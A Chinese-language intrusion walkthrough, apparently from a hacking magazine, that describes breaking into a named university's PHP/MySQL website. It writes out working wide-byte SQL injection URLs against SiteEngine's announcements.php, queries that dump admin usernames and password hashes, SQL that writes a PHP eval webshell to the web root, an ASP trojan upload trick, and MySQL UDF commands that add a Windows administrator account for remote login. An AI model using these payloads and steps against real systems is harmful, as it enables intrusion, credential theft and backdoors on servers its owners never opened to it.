作者:晓华[岁月联盟]

此文谨献给我亲爱的爸爸妈妈和热情的黑手读者!

来到大学快二个月了,感觉很好,认识了很多朋友,在这里结识了我的好兄弟夜枫。我学的是信息安全专业,感觉国内对这块投入很少,再加上有些网络系统管理员的安全意识比较低,总是认为我安装了最厉害的杀毒软件和严密的防火墙,并且把它们升级到最新版本,天天自动升级病毒库。恶意攻击可以避免,其实不是这样的。网络技术飞速的发展,网络安全技术和黑客攻击技术也在同步的发展,都是相互推动的,在做好了完整的安全防护外,我们还需要对系统的关键部分进行模拟的入侵测试,以找出系统存在的安全隐患并加以修复。人的意识最重要,别总是把希望寄托与强悍的杀毒软件和坚固的防火墙。

下面我将给新手朋友介绍下MYSQL5+PHP环境下的入侵技术。目标就拿中央民族大学主站作为入侵演示,之前朋友叫我检测下该站安全。现在用PHP做站的越来越多,PHP运行效率高,消耗系统资源比较低。再加上MYSQL是免费的数据库。PHP+MYSQL组合是黄金搭档,它们的安全问题也尤为重要。下面就简单介绍下基本入侵思路和MYSQL5注射的技巧。

既然是安全检测,肯定要用到网络安全扫描器进行系统信息收集。通过PING命令很轻松的得到该站IP地址,扫描软件我就用尖刀端口扫描器,速度快的它可以提高我们的入侵效率。扫描结果如下图1:

clip_image002

目标机器只对外开放了三个端口。溢出漏洞就别想了,这里就只留给我们二个端口可以突破,暴力破解终端密码?貌似我还没见人那样做哈。我们还是选择直接从80端口渗透进去吧!不知道目标站点的脚本程序安全怎么样。打开主站,是PHP的页面。后台数据库很可能是MYSQL,主机限制了3306端口对外开放,管理员对敏感端口的基本安全意识还是有的嘛!

翻看看了几个页面,发现很多页面都是动态的。随即测试几个页面看是否存在注射漏洞,结果不行。接着打开啊D注射器,在页面里输入百度,让百度大哥帮我们搜索下该站的动态链接的页面,而啊D兄弟负责检测连接是否存在注射。[使用格式为:site:XX.COM INURL:PHP]结果也是没找到,随即在登陆页面测试了几个弱口令也无功而返,在要关闭该站页面的时候,突然发现后台登陆栏显示了该站的程序的版本如图2:

clip_image003

原来该站是使用的网上的SITEENGINE版本,现在很多高校都喜欢使用网上的版本来修改。一旦骇客发现其中的漏洞,同样你的站点也有受到威胁。马上打开百度,搜索该版本的信息,发现网上已经有人对这套程序漏洞研究过了,公布了漏洞文件,不过利用的详细的信息并没有公布。我看了下官方也出了相应的补丁。漏洞原因是announcements.php这个文件的ID参数没有严格过滤,导致严重的SQL注射漏洞。提交网上简单的测试语句:

announcements.php?id=1%bf%27%20and%201=2%20%20UNION%20select%201,2,3,4,5,6,7,8,9,10,11%20/*
显示如下3:

clip_image005

在上图显示了数字8和3,利用它们就可以显示出我们想要的信息。我们来看下当前数据库的版本和连接数据库的用户在,分别在位置3和8处插入version(),user()如图4:

clip_image007

数据库是ROOT用户连接的,权限很高。MYSQL数据库的版本是5.0的。手工测试起来实在是麻烦,我们用工具跑吧!随即调用了几款常用的PHP注射工具,测试后发现都不能注射。现在只有手工注射,手工注射可以锻炼我们对SQL语句的理解。继续发扬黑客精神。

该数据库是MYSQL5版本的数据库,别看是新版本的数据库。如果你懂的技巧的话,很快就搞定它。我们用load_file()这个函数来读取系统文件的版本,我们就读取c:\boot.ini这个文件。路径名称用工具转换为ASCII码,如图5:

clip_image008
然后我们插入到数字8的位置,提交即可显示出C:\boot.ini的信息如图6:

clip_image010

根据显示信息为WIN 2003的服务器。下面我们来手工查找数据库中有哪些库,找出我们当前使用的库,好进一步渗透。
构造语句依次查看库名如下:

1./announcements.php?id=1%bf%27%20and%201=2%20%20UNION%20select/**/1,2,version(),4,5,6,7,SCHEMA_NAME,9,10,11/**/%20from/**/information_schema.SCHEMATA%20limit%201,1/*

2.announcements.php?id=1%bf%27%20and%201=2%20%20UNION%20select/**/1,2,version(),4,5,6,7,SCHEMA_NAME,9,10,11/**/%20from/**/information_schema.SCHEMATA%20limit%202,1/*

3. 2.announcements.php?id=1%bf%27%20and%201=2%20%20UNION%20select/**/1,2,version(),4,5,6,7,SCHEMA_NAME,9,10,11/**/%20from/**/information_schema.SCHEMATA%20limit%20X,1/*

要想查看哪个库名只需要修改相应的limit X(库位置,就是你想查询第X个库的名字)我通过改变LIMIT查询的条件获取了所有的库名:dedecmsv51utf8 dedev51freesp1mysql mzdx test test-old uutest。我们已经知道了库名,现在我们来获取库中的表名。

语句如下:

announcements.php?id=1%bf%27/**/and/**/1=2/**/UNION/**/select/**/1,2,version(),4,5,6,7,TABLE_NAME,9,10,11/**/from/**/information_schema.TABLES/**/where/**/TABLE_SCHEMA=0x74657374/**/limit/**/8,1/*
以上语句是获取TEST库中的第一个表名,库名要用HEX值。

如果想查找第二个表名就改变LIMIT的参数,经过我的耐心查询,终于在库中找到了存放管理员的表名,表名为:eachway_members。
我们知道数据是存放在字段里的,现在已经获取了管理的表名,最后就只查字段了。
字段查询语句构造如下:

announcements.php?id=1%bf%27/**/and/**/1=2/**//**/UNION/**/select/**/1,2,version(),4,5,6,7,COLUMN_NAME,9,10,11/**/from/**/information_schema.COLUMNS/**/where/**/TABLE_NAME=0x656163687761795F6D656D62657273/**/limit/**/1,1/*

记得把表名转换成HEX值后再查询,该条语句是查询第一个字段名,如果想查找第N个,请改变LINIT参数来查询。

如图7显示第一个字段是USERNAME:

clip_image012

使用以上的查询方法我获取了管理表中的关键的字段:uid usernem password等字段,现在万事俱备,只需我们构造查询的语句了。语句构造:

announcements.php?id=1%bf%27/**/and/**/1=2/**//**/UNION/**/select/**/1,2,username,4,5,6,7,password,9,10,11/**/from/**/eachway_members/*

如果想爆出多个管理密码信息请自己修改语句,相信大家都会,这里就不再废话。

爆出管理用户名和密码如图8:

clip_image014

密码是MD5加密的,我们需要解出明文密码才能在后台成功登陆。破解MD5密码建议到CMD5.ORG上去解,我把那个MD5放到上面去解,解出了但是要收费,郁闷的很。先暂时放一下,一般网站都使用PHPMYADMIN来管理数据库,我们来看看这个站是否安装。直接在域名后面加上PHPMYADMIN,直接进去了。没有任何验证。

这里可以对数据库进行全部的操作,不知道管理是怎么配置的,还是有恶意入侵者进入后故意那样设置的。这个就不得而知了。既然有数据库的操作权,而且PHPMYADMIN也提供SQL查询的功能。我们何不用它来获得我们的WEBSHELL呢?用PHPMYADMIN导出一句话木马必须知道WEB的路径,phpmyadmin爆路径方法 weburl+phpmyadmin/themes/darkblue_orange/layout.inc.php,结果显示该网页无法找到,看来是被删了。通过仔细观察我找到了WEB的路径,如图:

clip_image016

现在路径也有了赶快执行导出一句话的语句吧!随便选择一个数据库执行以下的语句:

----start code---
Create TABLE a (cmd text NOT NULL);
Insert INTO a (cmd) VALUES('<?php eval($_POST[cmd]);?>');
select cmd from a into outfile 'D:\PHPnow\htdocs\nohack.php';
Drop TABLE IF EXISTS a;
----end code---

访问这个页面发现无法找到,测试了好几遍都不行,另外还有个dumpfile来得到shell的方法,语句格式为:
select 0x3c3f706870206576616c28245f504f53545b636d645d293f3e into DUMPFILE ' D:\PHPnow\htdocs\php.php';

加密部分为 lanker 一句话 密码为 cmd,结果也不行。我推断是权限限制的问题。突然想起还没进入后台呢,密码是要收费的。但是我们现在可以操作整个库,破解不出,我们不如直接修改管理员的密码登陆。修改之前我先保存了管理的MD5值,保险起见。如图10:

clip_image018
我把管理密码修改为nohack,我用它成功登陆。现在我们目的是取得WEBSHELL,经过我的研究是能够得到WEBSHELL的。

方法是:下载管理-参数设置-增加CER文件的扩展名,这个服务器是2003的,默认是支持CER解析的。然后在在增加下载—上传那上传一个CER格式的ASP木马。

然后点击发布,通过查看下载文件的路径即可得到WEBSHELL。如图11:

clip_image020

由于该网站是以ROOT权限用户连接数据库的,我们可以使用它来提升我们的权限。通过查找数据库文件,很轻松的获得了ROOT用户的密码。

现在我们只需上传一个提权脚本上去本地连接数据库提权,我这里用UDF提权。正确输入相关用户 密码 数据库名等信息即可本地连接上,然后导出DLL到系统目录。

注意在MYSQL5版本以上必须导出到系统目录,否则提取就会出错。如图12:

clip_image022

然后依次输入:

create function cmdshell returns string soname 'c:\windows\udf.dll'
select cmdshell('net user nohack password /add');
select cmdshell('net localgroup administrators nohack /add');

即可建立一个名为nohack密码为password的系统帐户。
服务器开了3389,我们直接远程登陆。如图13:

clip_image024

本次渗透测试就到这里,入侵渗透就是考验一个人的耐心和技巧!通过阅读本文,希望能对你有些收获与帮助,这是我最大的愿望!对本文有任何意见或者好的建议请到岁月联盟找我交换意见,谢谢。

源链接

Hacking more

...